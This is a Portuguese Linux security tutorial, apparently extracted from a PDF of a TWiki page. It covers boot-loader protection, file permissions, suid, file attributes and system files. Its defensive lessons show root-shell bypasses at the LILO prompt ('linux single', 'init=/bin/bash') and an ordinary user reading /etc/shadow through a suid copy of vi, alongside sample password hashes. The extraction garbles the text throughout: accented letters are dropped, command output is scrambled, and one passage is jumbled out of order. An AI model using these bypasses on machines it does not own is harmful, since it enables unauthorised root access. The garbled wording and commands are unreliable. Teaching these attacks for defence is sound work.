Você está na página 1de 152

EditarAnexarImpresso r1 - 28 Jun 2010 - 11:30:44 - FabioSousaVoc est aqui: TWiki > Web GrupoLinux > L icoesLinux > Completo

, create new tag Segurana e o sistema Linux Neste captulo ser estudado os conceitos bsico sobre segurana. Ao decorrer do captulo ser apresentado algumas funcionalidade intrnsecas do sistema operacional Linux uti lizado para aumentar a segurana ou aumentar os privilgios de usurio. Introduo O crescimento e a quantidade de recursos disponveis na Internet tem chamado a ate no de todo o mundo. Atualmente uma quantidade extraordinria de informao e dinheiro tr ansitam nesta rede mundial. Um sistema coorporativo que possui informaes sigilosas - principalmente financeiras - jamais poderia estar disponvel na Internet ou em qualquer rede de computadores sem pensar no requesito segurana.

A Internet, em sua fase inicial, foi projetada para ser um sistema de redes inte rligadas com a finalidade de comunicar e transmitir dados atravs de computadores. Portanto, no havia necessariamente um preocupao com a segurana da informao. Em contr -partida, a evoluo e crescimento da Internet agregou os mais variados tipos de ent idades, organizaes, empresas etc. Logo, o interesse sobre este mundo virtual foi c ada vez mais ficando maior.

Comrcio eletrnico e transaes bancrias so exemplos de sistema que necessitam de segura . Imagine nmeros de cartes de crditos e senhas trafegando na rede de forma legvel. N a verdade, estes servios somente foram disponibilizados publicamente depois de um a grande evoluo nos sistemas de segurana. Qualquer empresa conectada Internet est susceptvel ataques externos que podem caus ar diferente tipos de danos, como por exemplo: acesso e controle do sistema por pessoas mal-intecionadas, roubo de informao, alterao de dados, queda do sistema e re de. Os ataques tambm podem ser de origem interna. Este ltimo caso particularmente o mais perigoso, pois alm do conhecimento da estrutura da rede, o atacante ter tam bm acesso fsico rede. O estudo de segurana baseado mais precisamente em duas vertentes: o ataque e a de fesa. Apesar de serem antagnicos, os dois so dependentes entre si e cada um tem de sempenhado papel importante para a evoluo do outro, ou seja, a evoluo de cada um ref lexo da necessidade atual do qual o outro impe. Portanto, a segurana faz-se necessrio em qualquer sistema coorporativo. Todo siste ma atual e as necessidades que iro surgir futuramente fazem do estudo de segurana um dos mais necessrios e importantes para o crescimento das redes de computadores . a partir deste estudo que mais e mais recursos podero ser disponibilizados atra vs da Internet. Por que preciso segurana?

A segurana vem da necessidade da disponibilizao de algo, ou seja, quando estamos ab ertos ao recebimento ou envio de algo atravs das redes de computadores. O fato de tornar algo disponvel sempre acompanhado de condies pr-estabelecidas. Estas limita podem porventura aguar a vontade de outros forjar tais limites - independente do desejo ou finalidade . Na medida de garantir que tais limites sejam respeitados d-se o nome de segurana em redes de computadores. Portanto, segurana preciso para ev tar que determinados limites impostos ao disponibilizar um recurso sejam violado s. O que a segurana deve garantir?

De forma genrica, a segurana deve garantir que todas as regras e limitaes impostas e m uma comunicao sejam obedecidas. Abaixo est mostrado as principais limitaes:

Acesso no autorizado A segurana de um sistema deve garantir que somente usurios autorizados possam usufruir de determinado recurso disponvel. Acessos no autoriza dos podem ocorrer tanto a nvel fsico quanto a nvel de software. Exemplo: Acesso fsic o a qualquer equipamentos da estrutura de rede ou controle remoto a nvel de softw are sem prvia autorizao. Alterao de dados Um sistema seguro deve evitar que dados sejam alterados sem d evida autorizao. Pode se entender como dados qualquer tipo de informao: arquivos, em ail, pginas Web etc. Exemplo: Um servidor Web permite que suas pginas sejam altera das indiscriminadamente. Furto ou espionagem de informao Cada rede ou sistema possui informaes que so de xtrema importncia, este dados geralmente necessitam de um cuidado especial e muit o das vezes no podem estar disponvel publicamente. A segurana de sistema deve evita r que estes dados sejam furtados ou seja de conhecimento de terceiros. Tipos de informaes comuns a este tipo de ataque so: arquivo de senhas, projetos da empresa, nmero de carto de crdito etc. Falsificao da identidade - Para cada tipo de recurso disponvel a identidade de usurio, host, processo e entidade necessrio para que uma comunicao seja confivel. Ex mplo: O sistema seguro deve garantir que um e-mail recebido seja autntico, ou sej a, o remetente realmente quem o e-mail diz ser. Parada do sistema e rede A segurana de um sistema est relacionado confiabilida de de funcionamento correto. O sistema deve ser seguro na medida que no sofra par ada ou queda do sistema ou rede. Dependendo da sua necessidade, outras limitaes podem ser agregadas ao seu sistema. Cabe ao bom administrador de sistema gerir a segurana de forma a garantir que su as regras e limitaes sejam obedecidas. Onde necessrio Segurana? Um sistema coorporativo deve ser administrado de forma a no haver furos particula res que possam afetar a segurana do sistema como um todo. Um pequeno problema que passar despercebido pelo administrador pode ser utilizado para que outros sejam interceptados. Portanto, a identificao de pontos do sistema que necessitam de seg urana de fundamental importncia para que a coorporao seja segura como um todo. Logo, a implementao de medidas preventivas pode ser dividida em quatro classes: usurios, processos, equipamentos e sistema operacional. Segurana nos usurios Usurios mal informados e leigos podem comprometer a segurana do sistema. Usurios qu e no preocupam com a segurana do sistema podem comprometer o sistema atravs de uso de senhas fracas, execuo de arquivos com cdigo malicioso, fornecer informaes confiden ciais da rede etc. Um dos tipos de ataque bastante conhecido e provavelmente o mais subestimado cha mado de engenharia social. Engenharia social definido como mtodos de obteno de info rmaes importantes do sistema coorporativo ou mesmo do usurio atravs de sua ingenuida de ou confiana. Exemplo: Uma pessoa pode ligar para a empresa, pedindo um levanta mento de todos os sistemas operacionais, banco de dados e nomes dos tcnicos alega ndo que se trata de uma pesquisa de mercado ou de interesse da empresa. Para garantir segurana nos usurios, o administrador dever em conjunto com toda a co oporao promover e divulgar polticas de segurana com a finalidade de alertar, orienta r e forar os usurios a seguir os critrios de segurana. Nota: Estas polticas de seguranas sero apresentadas ao decorrer do estudo do livro.

Entre os problemas de segurana proveniente de usurios possvel citar: Um usurio pode fornecer a senha pessoal para outros usurios O usurio pode esquecer o logon aberto e uma pessoa mal intecionada pode furta r o arquivo de senha e/ou instalar programas para invaso futura. O usurio pode utilizar a mesma senha em vrias redes diferentes. Algum que tenha obtido acesso ao arquivo de senha pode quebrar sua senha e entrar em outra rede utilizando seu usurio. Alguns usurios ainda utilizam a mesma senha do sistema par a acessar contas bancrias via Internet. O usurio pode fornecer informaes importantes da rede para uma pessoa mal intenc ionada. Estas informaes podem ser: sistema operacional e software utilizados, nome s de usurios da rede, estrutura da rede incluindo roteadores, sub-redes e provedo res utilizados etc. Segurana nos Processos Ataques via rede ou at mesmo localmente utilizam de alguns processos ou servios di sponveis que so vunerveis. Geralmente estes processos permitem que o atacante execu te algum programa arbitrrio que retorne: um shell para o atacante, um contedo de u m arquivo ou at mesmo a queda do sistema ou servio. Abaixo est relacionado os principais cuidados a ser tomados com relao ao processos/ servios:

Constante Desenvolvimento Um bom software deve estar em constante desenvolvi mento: correes de bugs, aprimoraes dos recursos atuais, implementaes de novas funcion lidades. Servio Seguro Deve-se dar preferncia a software que criptografam os dados em t rnsito. Servios que no so seguros no podem trafegar dados sigilosos, pois podem ser c apturados via rede. Dono do Processo Servios que so disponibilizados na Internet principalmente, n a medida do possvel, deve executar seu processo com usurios no privilegiados, pois evitam que ataques ao servio/processo forneam privilegios do usurio root. Um ataque bem sucedido a um processo cujo dono o usurio root poder, por exemplo, ler o arqu ivo de senha ou obter um shell de super-usurio - previlgios que somente o usurio ro ot possui. Atualizao do software - A utilizao de software desatualizado aumenta a possibili dade de existir ferramentas de explorao para esta verso. Uma constante atualizao evit a a utilizao de verses vunerveis em que o tipo de ataque pertinente j bastante conhe ido. Processos ociosos Servios ou aplicativos que no so utilizados devem ser removid os, principalmente aqueles que esto em execuo ou at mesmo instalados. Quanto menos p rocessos em execuo menor a possibilidade de encontrar vunerabilidades no sistema. Processos disponveis na Internet Quanto menos recursos estiver disponvel para Internet melhor. A estrutura da rede deve ser configurada de forma a minimizar o s recursos da rede interna disponveis para a rede pblica. Configurao do servios Muito cuidado na configurao do servio. Servios que dispo izam recursos sem nenhuma restrio de usurio, host, leitura e escrita so potencialmen te problemticos. Exemplo: Um compartilhamento de arquivo sem nenhuma restrio contra leitura, escrita e acesso. Os problemas mais comuns a nvel de processo esto mostrados a seguir:

O sistema utiliza servios e processos com vunerabilidades que no foram corrigi dos atravs de atualizao ou aplicao de patches correes. A vunerabilidade permite qu tacante execute comandos arbitrrios remotamente. O sistema utiliza um servio que no utiliza criptografia para trafegar seus dad os. O atacante poder, por exemplo, capturar senhas que trafegam na rede. Um compartilhamento de arquivo mal configurado permite que um vrus se propagu

e na rede. O atacante pode manipular pacotes TCP/IP de forma a consumir recurso do sist ema ou rede remota atravs de um processo vunervel. Este ataque pode causar: queda do servio ou sistema operacional, consumo da largura de banda da rede e consumo d e CPU e memria do sistema. A empresa resolveu usar um software pirata mas havia cdigo interno para invaso da rede. Equipamentos A segurana dos equipamentos est relacionado estrutura fsica da rede. O bom dimensio namento da rede e disposio dos equipamentos evita alguns tipos de ataques. Abaixo est relacionado as principais medidas a ser implementadas na rede para evi tar alguns tipos de ataque: Alterao de senhas padres de equipamentos como por exemplo: roteadores, switches e banco de dados. Segmentar a rede em vrias sub-redes. A diviso da rede evita trfego intenso na r ede e dificulta a captura de dados na rede. Restringir acesso fsico a equipamentos de controle da rede como: servidores, roteadores, switches, hubs e qualquer outro ponto de rede. Os principais ataques a equipamentos de rede esto apresentados abaixo: Acesso e controle de equipamentos com senhas padres. Um roteador pode sofrer ataque e parar de funcionar. Uma pessoa mal intencionada com acesso fsico ao servidor pode, atravs de um di squete de boot, furtar o arquivo de senha e/ou instalar programas para invaso fut ura. Os dados na rede podem ser capturados internamente ou atravs do roteador pelo qual as informaes da rede trafegam. Um Hub pode ter funes de controle remoto que podem permitir a parada ou contro le da rede. Uma mquina da rede pode utilizar o mesmo endereamento IP do servidor para caus ar conflito na rede. Furto do equipamento. Sistema Operacional Algumas falhas so peculiares ao sistema operacional utilizado. Alguns sistemas op eracionais por exemplo so mais vunerveis a vrus enquanto outros so mais imunes. Inde pendente do sistema operacional utilizado, a atualizao do sistema necessrio em qual quer plataforma. A segurana do sistema depende mais do conhecimento do administrador do que do sis tema propriamente dito. Obviamente, o conhecimento e experincia do administrador faz com que ele escolha um sistema mais apropriado e que tenha mais recursos seg uros. O Linux tem se tornado uma tima alternativa e cada vez mais est sendo utiliz ado devido ao seu desenvolvimento contnuo e pela grande quantidade de recursos di sponveis. O Linux O sistema operacional Linux tem sido empregado nos mais diversos sistemas coorpo rativos e tem demostrado bastante eficincia e confiabilidade. O Linux apesar de s er um sistema operacional relativamente novo, um parente da famlia de sistemas op eracionais UNIX, da qual herdou vrias caractersticas. O Linux faz parte do projeto e filosofia do cdigo fonte aberto. Este projeto esta

belece que os programas podem ser utilizados, alterados e distribudos livremente. Programas de cdigo fonte aberto possuem a vantagem de contar com milhares de pro gramadores que trabalham em conjunto para corrigir e melhorar seu kernel e as di versas aplicaes que utilizam desta mesma filosofia. O sistema Linux propriamente dito j incorpora as seguintes funcionalidades relaci onadas segurana: Sistema multi-usurio e multi-tarefa Permite trabalhar com vrios usurios e proce ssos ao mesmo tempo. No sistema Linux existe uma separao entre o super-usurio e os demais usurios do sistema. O super-usurio chamado de root enquanto os demais usurio s so denominados como usurios comuns. O super-usurio possui reas separadas no sistem a de arquivo e memria, tendo poder sobre todo o sistema Linux processos e sistema de arquivo. Assim, o root pode, conforme sua vontade, remover/alterar arquivos e interromper qualquer processo do sistema. Sistema de arquivo O sistema de arquivo do Linux um sistema maduro que supor ta configuraes como: quota de usurios e todo tipo de restries de acesso a arquivos. A s permisses de arquivos faz do Linux um sistema imune a vrus. Senhas seguras O sistema Linux utiliza criptografia forte para guardar as se nhas de seus usurios. Possui sistemas de reciclagem de senha e avaliao do nvel de se gurana das senhas dos usurios. Sistema de Logs Possui um sistema de log prprio e pode agregar vrios outros. O sistema de log muito importante para avaliar o funcionamento do dia-a-dia de se rvios e detectar possveis ataques externos. Alm destas caractersticas mais nativas do Linux, ele possui disponvel para instalao u ma grande quantidade de ferramentas aplicadas segurana, permitindo suporte a: Criptografia O Linux possui ferramentas que permite utilizar os mais variado s tipos e algoritmos de criptografia que pode ser aplicados a e-mail, servios e a rquivos para torn-los seguros. Scanner de vunerabilidades Vrias ferramentas que vasculham e reportam vunerab ilidades so disponveis para Linux, atuando tanto a nvel interno no sistema, quanto externamente via rede. IDS Intrusion Detection System Sistemas de deteco de intrusos pode ser utiliza dos para detectar atividades suspeitas e tomar medidas - automticas ou no - contra elas. SSH Ferramenta utilizada para terminal remoto e transferncia de arquivo onde todas as informaes em trnsito so criptografadas. Servios de Internet Os mais importantes servios de Internet esto disponveis para o Linux. Entre eles: Apache para servidor Web, BIND para servidor DNS, para ser vidor de email existem: sendmail, postfix, qmail etc. Configuraes de Firewall O kernel do Linux possui suporte a regras de firewall. Ferramenta importantssima para segurana de sua rede interna. VPN Virtual Private Network O Linux suporta as principais ferramentas para i ntegrao de redes privadas atravs da Internet de forma segura. As caractersticas apresentadas acima so aplicveis defesa do sistema e rede. Neste l ivro ser abordado todas estas caractersticas assim como vrios tipos de ataques. A p artir de agora ser iniciado a anlise de segurana no Linux. Neste momento ser dado nfa se apenas s funcionalidades do sistema Linux tal como: Inicializao do sistema, sist ema de arquivos, logs entre outros. Os prximos captulos, ento, ficaram encarregados de apresentar as principais ferramentas e servios relacionados a segurana e dispo nveis para o Linux. Segurana no boot do Linux O Linux pode ser acessado de forma no autorizada na sua inicializao - boot. Para is to existe basicamente duas formas:

O invasor utiliza de alguns parmetros do Lilo - Linux Loader - para ter acess o ao sistema. Neste caso, a nica necessidade do invasor ter acesso fsico mquina par a reinici-la. O invasor atravs de um disquete de boot entra no sistema. Neste caso, o invas or necessita ter acesso fsico a mquina e ter acesso configurao da BIOS Basic Input utput System - para determinar que o boot ser dado primeiramente pelo disquete. Nota: o LILO o carregador do sistema operacional Linux mais utilizado que tambm c arrega outros sistemas operacionais da famlia Windows, por exemplo. Atualmente al gumas distribuies do Linux esto utilizando por padro o carregador Grub, que por padro tambm permite obter acesso no-autorizado. Segurana no Lilo

Uma dos possveis ataques Lilo permite que alguns parmetros sejam passadoa para o i nit na inicializao do sistema. O init possui vrios nveis de execuo sendo que um deles o monousurio tambm chamado de single. Este nvel de execuo permite que o invasor tenha controle do sistema como superusurio sem a necessidade de login e senha. Nota: O init o primeiro programa a ser inicializado pelo kernel. Portanto, este programa possui nmero de identificao igual a 1(um) e pode ser visualizado atravs do comando ps aux. hand Para entrar no sistema atravs do modo single, na inicializao do sistema e no p rompt do LILO, execute: boot>linux single O nome linux ir depender de como o Lilo de seu sistema est configurado. O nome pel o qual o sistema chamado configurado atravs do parmetro label que fica definido de ntro do arquivo de configurao do lilo - /etc/lilo.conf. Este nome mostrado na prpri a inicializao do sistema, basta pressionar no prompt do Lilo que todos os sistemas sero mostrados. hand Depois de carregar o sistema operacional e o init no modo single, o sistema ir fornecer um shell para execuo de comandos, geralmente da seguinte forma: bash# A partir deste momento ser possvel executar qualquer comando do sistema como super usurio. Algumas distribuies do Linux j vem protegidas contra o modo single. Assim, antes de fornecer o shell do usurio o sistema ir solicitar a senha de root para acesso. A solicitao est mostrada abaixo: Give root password for maintenance (or type Control-D for normal startup):

Esta segurana implementada atravs do arquivo de configurao do init. A linha responsv l est apresentada a seguir: su:S:wait:/sbin/sulogin Somente esta configurao no garante a segurana specificar qual programa a ser executado no lugar , basta definir que o programa a ser executado no ovamente, no prompt do Lilo e na inicializao da boot>linux init=/bin/bash

do boot. Pois possvel, atravs do Lilo do init na inicializao. Portanto lugar do init seja um shell. N mquina, execute:

Neste caso, o sistema ao terminar de carregar o kernel, ir retornar o shell bash. A partir da qualquer comando poder ser executado.

Os dois ataques mostrado acima podem ser evitados atravs de uma nica configurao do L ilo. Esta configurao baseada na solicitao de senha para utilizao dos parmetros sin init. hand Logo, edite o arquivo /etc/lilo.conf, e adicione as seguintes linhas: boot=/dev/hda map=/boot/map install=/boot/boot.b prompt timeout=50 lba32 message=/boot/message password=minhasenha123 restricted image=/boot/vmlinuz label=linux root=/dev/hda7 read-only A senha de acesso definida atravs do parmetro password. O parmetro restricted restr inge o uso de senha para opes do Lilo que afete a segurana. hand Depois de editar este arquivo, voc dever alterar as permisses deste arquivo e executar o instalador do Lilo: #chmod 400 /etc/lilo.conf #lilo Added linux * O primeiro comando altera as permisses do arquivo. O parmetro 400 permite leitura apenas para o dono que neste caso ser root. O segundo comando reinst-la o Lilo com as novas configuraes de segurana. Segurana na BIOS O uso de um disquete de boot para ter acesso ao sistema Linux pode ser evitado a travs da BIOS. Para amenizar este problema, aconselhvel: Restringir o acesso fsico aos servidores. Configurar a BIOS para dar boot apenas pelo disco rgido. Colocar senha para acesso a BIOS. Colocar cadeado na CPU. Segurana no Sistema de arquivo O Linux totalmente baseado em arquivo. Logo, a segurana do sistema de arquivo bas eado na segurana das permisses de arquivos. O administrador deve manipular e geren ciar o acesso aos arquivos de forma a no deixar furos pelo qual um usurio pode uti lizar para aumentar seus privilgios. Permisses de arquivos As permisses do sistema de arquivo so atribudas a partir das 3 classes: dono, grupo e outros.

hand Para listar as permisses de arquivos, execute: #ls -l -rw-r--r--rw-r--r--rw-r--r--r--------rw-------rw-r--r--rw-r--r-drwxr-xr-x -rw-r--r--rw-------rw-r--r-drwxr-xr-x drwxr-xr-x 1 1 1 1 1 1 1 2 1 1 1 2 2 root root root root root root root root root root root root root root root root root root root root root root root root root root 35250 76383 5 1968 1967 55 53 4096 10831 0 97 4096 4096 Fev Fev Abr Mai Mai Abr Abr Abr Fev Fev Fev Ago Abr 18 13 21 13 13 4 21 4 26 26 26 21 4 2002 2002 20:43 23:35 23:33 2001 22:56 2001 2002 2002 2002 2001 2001 sensors.conf services sfaccess.conf shadow shadowshells shutmsg skel smb.conf smbpasswd smbusers smrsh snmp

A sada deste comando est dividido em 7 colunas que podem ser entendidas da seguint e forma: Permisses do arquivo Grupo associado Nome do arquivo Nmeros de ligao do diretrio Dono do arquivo Tamanho do arquivo em kbytes Data da ltima alterao

As permisses de arquivo so mostradas na primeira coluna. As permisses so divididas e m 10 campos sendo que o primeiro campo especifica o tipo de arquivo. Do segundo ao quarto campo so definidas as permisses do dono do arquivo, do quinto ao stimo so atribudas as permisses do grupo associado e para outros ficam reservados os campos oito, nove e dez. inserir as figuras fig 1. Estrutura das permisses de arquivo do sistema Linux. Os tipos de arquivos so definidos por meio do primeiro campo e esto disponveis na t abela abaixo: Caractere Tipo de arquivo Arquivo texto comum d Diretrio l Um link simblico s Um soquete UNIX, usado para comunicao entre processos. c Arquivo especial de dispositivo de caractere. Por exemplo: execute 'ls l /dev/tty' b Arquivo especial de bloco. Por exemplo: execute 'ls -l /dev/fd0' p Arquivo de pilha FIFO, utilizado para comunicao entre processos. Todos os outros nove campos que so utilizados para definir as permisses para o don o, grupo e outros podem utilizar as seguintes permisses: Caractere Tipo de arquivo r Arquivo ou diretrio pode ser lido w Arquivo ou diretrio pode ser escrito x Execuo para arquivo ou acesso para diretrio s Arquivo com bit 's' ativo. Faz com que um usurio (ou grupo) execute aplic ativos trocando-se de uid (ou gid) iguais ao do arquivo. t Possibilita a remoo de arquivos apenas pelo dono, mesmo que outros usurios tenham permisso de escrita no diretrio corrente. utilizado no diretrio /tmp. Alterando as permisses de arquivos e diretrios O comando chmod utilizado para alterar as permisses de um arquivo. As permisses de

arquivos so alteradas forma octal atravs dos seguintes nmeros: 4 -> Significa leitura 2 -> Significa escrita 1 -> Execuo para arquivo ou acesso para diretrio.

A soma de dois nmeros associam duas permisses, a soma de trs associa trs permisses, o u seja, o nmero 6 atribui leitura e escrita, o nmero 7 atribui leitura, escrita e execuo ou acesso. Como as permisses so dadas atravs de trs classes envolvidas: dono, rupo e outros, ser necessrio trs nmeros para atribuir as permisses necessrias para um determinado arquivo ou diretrio. hand Veja os seguintes exemplos: #chmod 664 teste O primeiro nmero se refere ao dono, o segundo ao grupo e o terceiro a outros. Por tanto possvel afirmar que: o dono possui permisso de ler e escrever – nmero 6 - o arquivo teste, o grupo de usurios poder tambm ler e escrever – nmero 6 -, enquanto outros somente poder ler – nmero 4. hand Liste as permisses do arquivo de exemplo e comprove a seguinte sada: #ls -l teste -rw-rw-r-1 root root 0 Mai 20 19:27 teste

Observe que os campos relacionados ao dono est rw, ao grupo est rw e a outros est s omente r conforme esperado. Neste exemplo, root o dono e grupo do arquivo relaci onado.

Nota: No cabe a este material abordar com maior profundidade estes comandos de ad ministrao de sistemas. Maiores informaes podem ser encontradas atravs de suas pginas e manuais ou atravs do segundo livro desta srie, o livro Administrao de Sistema Linux Neste material ser considerado que o leitor j sabe trabalhar bem com estes comand os. Alterando o dono dos arquivos ou diretrios O comando chown utilizado para alterar o dono de um arquivo. Sua sintaxe muito s imples e est apresentada abaixo: #chown <novo_dono> <arquivo ou diretrio> hand Segue um exemplo: #chown fulano teste O comando acima altera o dono do arquivo teste para o novo dono fulano. hand Para verificar o resultado do comando execute: #ls -l teste -rw-rw-r-1 fulano root 0 Mai 20 19:27 teste

Em negrito est mostrado o novo dono do arquivo de exemplo. Alterando o grupo dos arquivos ou diretrios: O comando chgrp utilizado para alterar o grupo de um arquivo ou diretrio. Sua sin taxe similar sintaxe do comando chown e est apresentada em seguida:

#chgrp <novo_grupo> <arquivo ou diretrio> hand Segue um exemplo: #chgrp suporte teste hand Para verificar o resultado do comando execute: #ls -l teste -rw-rw-r-1 fulano suporte 0 Mai 20 19:29 teste

O grupo correspondente ao arquivo teste agora o grupo suporte. Medidas importantes: Evite que arquivos de informaes importantes e principalmente os arquivos de senhas sejam lidos por todos. Arquivos e diretrios que possuem permisso de escrita para todos, principalmente arquivos executveis, devem, na medida do possvel, ter suas p ermisses alteradas. hand Para encontrar os arquivos com escrita para todos, execute: #find / -perm -2 -type f -print Arquivos com suid O suid Switch User ID - um recurso do sistema de arquivo do Linux que permite um usurio enquadrado como outros executar um arquivo como se fosse o dono. Ou seja, o dono do processo ser o dono do arquivo executvel e no o usurio que realmente exec utou tal arquivo. Qual seria a consequncia de um comando que possui suid e tem como dono o superusur io root? A resposta a seguinte: Independente de qual usurio executou o comando, o processo ter os mesmos super-poderes do root. Muitas ferramentas de explorao conhecidas como exploits so baseados em programas qu e utilizam arquivos com suid. Exemplo de utilizao do suid: O exemplo baseado no editor de texto vi no qual ser aplicado o suid. Logo, depois de aplicar suid neste editor, qualquer usurio poder abrir e escrever qualquer arq uivo, incluindo o arquivo de senha do Linux - /etc/shadow. Como usurio root, exec ute: #cp /usr/bin/vi /tmp #chmod 4755 /tmp/vi O primeiro comando faz uma cpia do vi para o diretrio /tmp. O ltimo comando atribui suid ao arquivo vi. Observe que o comando utilizado para atribuir o suid tambm o chmod. Para confirmar o resultado, execute: #ls -l /tmp/vi -rwsr-xr-x 1 root root 1910396 Mai 20 20:21 /tmp/vi

Observe que o caractere s apareceu no campo de permisses do dono. A partir de ago ra quem utilizar este vi ir poder ler e escrever qualquer arquivo do sistema. Por tanto, entre no sistema com um usurio comum e execute:

$/tmp/vi /etc/shadow O contedo do arquivo de senha ser mostrado para o usurio comum. Em outro terminar, liste os processos conforme o comando abaixo: #ps aux root 1143 5.2 3.0 8528 3616 pts/2 S 20:29 /tmp/vi /etc/shadow

A sada do comando ps permite observar que, apesar do comando ser executado por me io de um usurio comum, o dono do processo ser o usurio root. Medidas importantes: Procure no utilizar programas que usam suid. Quanto menos arquivos com suid insta lado, melhor a segurana do sistema. Para ver os arquivos que esto com suid em seu sistema, execute: #find / -perm +4000 /usr/lib/kde3/bin/artswrapper /usr/lib/kde3/bin/kpac_dhcp_helper /usr/lib/kde3/bin/konsole_grantpty /usr/lib/kde3/bin/kcheckpass /usr/lib/kde3/bin/kppp /usr/lib/kde2/bin/artswrapper Nota: execute este comando periodicamente para verificar se novos arquivos com S UID foram adicionados ao sistema. Portanto, guarde a sada deste comando para faze r comparaes futuras. Atributos de arquivos O sistema de arquivo do Linux possui, alm de suas permisses, a capacidade de traba lhar com atributos. Os comando utilizados para listar e adicionar/remover atribu tos so respectivamente: lsattr e chattr. Os atributos so utilizados para aumentar a segurana de arquivos ou diretrios. A tab ela abaixo apresenta somente os atributos que podem ser utilizados para reforar a segurana do sistema. Atributos Descrio i O arquivo com tal atributo no pode ser alterado, excludo, renomeado e nenh um link pode ser ligado a ele. Com este atributo, nem root pode alterar o arquiv o. Ele, primeiramente, deve retirar o atributo para depois alter-lo. s Este atributo faz com que o contedo de um arquivo seja eliminado completa mente do disco quando o arquivo for excludo. S Ao modificar um arquivo, as alteraes so gravadas simultaneamente no disco. u Ao excluir um arquivo, seu contedo salvo. Listando os atributos hand Para listar os atributos de um arquivo, utilize o comando lsattr. Abaixo se gue um exemplo: #lsattr teste ------------- teste Neste exemplo, o arquivo teste no possui nenhum atributo. Adicionar atributos

hand O exemplo abaixo adiciona o atributo i que faz com que o arquivo fique imutv el. #chattr +i teste hand Depois de executar este comando, tente alter-lo. Para confirmar a adio do atri buto, execute: #lsattr teste ---i--------- teste Qualquer atributo apresentado anteriormente pode ser adicionado, basta colocar o caractere + antes do atributo. Removendo atributos hand Para remover qualquer atributo, utilize o caractere -. Veja o exemplo: #chattr -i teste

Nota: Estes atributos reforam a segurana do sistema de arquivo do Linux. O chatttr com a opo imutvel pode ser utilizado para garantir a integridade de arquivos, ou s eja, dificultar a alterao dos mesmos. Geralmente a opo imutvel do chattr aplicada em arquivos que no so modificados constantemente como por exemplos: os scripts de ini cializao do sistema, arquivos como /etc/inittab, /etc/lilo.conf, /etc/securetty et c. Para maiores informaes sobre os outros atributos disponveis, veja as pginas de ma nual dos comandos chattr e lsattr. Arquivos importantes Neste tpico ser apresentado os principais arquivos relacionados segurana do sistema Linux. O arquivo /etc/securetty: Este arquivo controla os terminais seguros em que o root pode logar. A configurao padro permite que root acesse o sistema a partir de todos os terminais terminais tty1 at tty12. Um exemplo deste arquivo est mostrado a seguir: tty1 tty2 tty3 tty4 tty5 tty6 tty7 tty8 tty9 tty10 tty11 tty12 Se todas estas linhas forem comentadas ou removidas, o usurio root no ir poder aces sar o sistema diretamente atravs dos terminais. Neste caso, o acesso dever ser fei to primeiramente com um usurio comum e depois virar o usurio root atravs do comando su. Altere as permisses deste arquivo para somente leitura para o dono. #chmod 400 /etc/securetty O arquivo /etc/shells:

O arquivo /etc/shells limita os interpretados de comandos permitidos no sistema. Shells no utilizados devem ser desabilitados. Os interpretadores mais utilizados so: bash, csh e sh. O arquivo /etc/passwd: Este arquivo possui o cadastro de todos os usurios do sistema. Abaixo est apresent ado um exemplo: sabrina:x:515:515::/home/sabrina:/bin/bash lima:x:516:516:Joao Paulo Lima,0622057473:/home/lima:/bin/bash fraga:x:517:517::/home/fraga:/bin/bash sicrano:x:518:518::/home/sicrano:/bin/bash Este arquivo dividido em 7 campos separados por :. Nome do usurio Campo reservado para senha Nmero de identificao do usurio Nmero de identificao do grupo Dados pessoais do usurio Diretrio Home do usurio Shell utilizado pelo usurio Antigamente este mesmo arquivo era utilizado para guardar a senha dos usurio. Atu almente as senhas so guardadas em um arquivo separado. Nota: Cuidado com terceiro campo deste arquivo. Somente o usurio root dever ter o nmero de identificao igual a zero, pois qualquer outro usurio que possua tambm UID=0 ter todos os privilgios de root. O arquivo /etc/shadow: Arquivo de senhas do sistema. Este arquivo deve ter permisses 400 e dono root. Um exemplo deste arquivo est apresentado abaixo: jp:$1$xdIYqsOO$0kQrD3WMY.zMcsmt2IdwQ0:12185:0:99999:7::: tatiana:$1$ZuUKYemv$KHOrmLBEIWTNeocUW8yQo0:12185:0:99999:7::: roberta:$1$Z8.0jDZw$4ErAussO9Dff2/4YvlBmN/:12185:0:99999:7::: michele:$1$0IwAvbLG$SgjSjlf62Kv92N6bPB7gT0:12185:0:99999:7::: As senhas dos usurio so guardadas criptografadas. Este arquivo alm de guardar a sen ha dos usurios, possue campos para configurao como: tempo de expirao de senha, tempo de reciclagem de senha etc. Importante: Usurios que possuem o campo de senhas criptografadas em branco no nece ssitam de senhas para logar no sistema, ou seja, basta digitar o login e o acess o ser concedido. Evite este tipo de usurio no sistema. hand Para verificar erros de sintaxe e problemas de configuraes nos arquivos /etc/ passwd e /etc/shadow conjuntamente utilize o comando pwck. #pwck Este comando alm de reportar os problemas encontrados, permite corrigir em tempo real tais problemas. Para reportar erros nos arquivos de definies de grupo - /etc/ group existe o arquivo grpck. Nota: Para o tratamento das senhas do sistema ser apresentado um captulo exclusivo - o captulo sobre de Senhas. O arquivo /etc/inittab:

Este outro arquivo importante para a segurana do sistema. atravs deste arquivo que controlado o processo INIT - programa responsvel pela inicializao do sistema e tam bm pela transio entre nveis de execuo. Por padro, qualquer pessoa sem estar logado no sistema pode pressionar CTRL-ALT-D EL e o sistema ser inicializado. hand Para desativar CTRL-ALT-DEL da mquina, edite o arquivo /etc/inittab e altere a linha abaixo: ca::ctrlaltdel:/sbin/shutdown -t3 -r now hand Para: ca::ctrlaltdel:echo &#8220;CTRL-ALT-DEL desabilitado&#8221; hand Em seguida, execute: #init q O comando acima faz com que programa INIT releia o arquivo inittab. Para testar, pressione CTRL+ALT+DEL. O arquivo /etc/fstab: Este arquivo controla as montagens de dispositivos na inicializao do sistema. A si ntaxe deste arquivo est mostrada abaixo: <dispositivo> <ponto_montagem> <sistema_de_arquivo> <parmetro> <opo> <opo>

A partir deste arquivo possvel determinar quais parties podem ter ou no suporte a su id. O parmetro suid ativa suid no dispositivo relacionado, parmetro nosuid desativ a suid. aconselhvel na instalao do sistema criar uma partio para o diretrio home do surios e uma para compartilhamento de arquivos na rede, ambas parties podero ter parm etros nosuid. Isto evita ataques baseados em arquivos com suid compartilhado na rede. Veja o exemplo abaixo: /dev/hda6 /home ext3 nosuid,auto 1 2

Este exemplo determina que o dispositivo /dev/hda6 que ser montado em /home no pod er utilizar arquivos com suid. Um outro importante parmetro relacionado a segurana do sistema de arquivo o noexec. Este parmetro determina que nenhum arquivo poder s er executado em tal dispositivo.

